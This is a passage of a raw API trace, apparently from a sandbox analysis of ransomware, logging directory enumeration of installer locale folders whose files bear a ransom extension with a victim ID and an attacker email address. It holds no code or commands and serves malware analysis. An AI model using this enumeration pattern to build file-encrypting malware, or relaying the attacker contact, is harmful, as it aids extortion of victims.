cAlternateFileName="SETUPR~1.NEW")) returned 1 [0191.435] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39852453, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39852453, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x398785fe, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0191.435] FindClose (in: hFindFile=0x67a7b8 | out: hFindFile=0x67a7b8) returned 1 [0191.436] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0191.436] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1 [0191.436] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3e70058 [0191.436] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x67a7b8 [0191.437] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.437] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x395c9cbe, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x395c9cbe, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x395c9cbe, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x10b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0191.437] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x395c9cbe, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x395c9cbe, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x399ac4e4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x142c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0191.437] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x398785fe, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x398785fe, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x398785fe, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0191.438] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x398785fe, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x398785fe, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x398785fe, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0191.438] FindClose (in: hFindFile=0x67a7b8 | out: hFindFile=0x67a7b8) returned 1 [0191.438] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0191.438] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1 [0191.439] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3e70058 [0191.439] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x67a7b8 [0191.439] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.439] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x395f40e0, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x395f40e0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x395f40e0, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xf54, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0191.439] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39616154, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39616154, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39616154, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13c66, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0191.439] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3989e96e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3989e96e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3989e96e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0191.439] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3989e96e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3989e96e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3989e96e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0191.440] FindClose (in: hFindFile=0x67a7b8 | out: hFindFile=0x67a7b8) returned 1 [0191.440] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0191.440] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1 [0191.440] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3e70058 [0191.440] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x751450 [0191.815] FindNextFileW (in: hFindFile=0x751450, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.815] FindNextFileW (in: hFindFile=0x751450, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39616154, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39616154, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x399f8ee4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xd5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0191.816] FindNextFileW (in: hFindFile=0x751450, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3963c272, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3963c272, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3963c272, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13f46, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0191.816] FindNextFileW (in: hFindFile=0x751450, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3989e96e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3989e96e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3989e96e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0191.816] FindNextFileW (in: hFindFile=0x751450, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3989e96e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3989e96e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3989e96e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0191.816] FindClose (in: hFindFile=0x751450 | out: hFindFile=0x751450) returned 1 [0191.817] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0191.817] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1 [0191.817] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3e70058 [0191.817] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x751010 [0191.818] FindNextFileW (in: hFindFile=0x751010, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.818] FindNextFileW (in: hFindFile=0x751010, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x396625d2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x396625d2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x396625d2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0191.819] FindNextFileW (in: hFindFile=0x751010, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39688810, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39688810, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39688810, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13076, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0191.819] FindNextFileW (in: hFindFile=0x751010, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x398c4b76, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x398c4b76, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39c7e619, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0191.819] FindNextFileW (in: hFindFile=0x751010, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x398c4b76, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x398c4b76, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39c7e619, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0191.819] FindClose (in: hFindFile=0x751010 | out: hFindFile=0x751010) returned 1 [0191.820] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0191.820] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1 [0191.820] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3e70058 [0191.820] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x750f90 [0191.821] FindNextFileW (in: hFindFile=0x750f90, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.821] FindNextFileW (in: hFindFile=0x750f90, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39688810, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39688810, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x396faf02, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0191.821] FindNextFileW (in: hFindFile=0x750f90, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x396faf02, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x396faf02, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x397211de, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x12d16, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0191.822] FindNextFileW (in: hFindFile=0x750f90, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x398c4b76, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x398c4b76, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x398eae39, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0191.822] FindNextFileW (in: hFindFile=0x750f90, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x398c4b76, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x398c4b76, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x398eae39, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0191.822] FindClose (in: hFindFile=0x750f90 | out: hFindFile=0x750f90) returned 1 [0191.823] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0191.823] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1 [0191.823] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3e70058 [0191.823] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x751350 [0191.824] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.824] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x397211de, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x397211de, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x397211de, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0191.824] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39747561, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39747561, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39747561, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xee06, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0191.824] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x398eae39, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x398eae39, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39910f4c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3858, 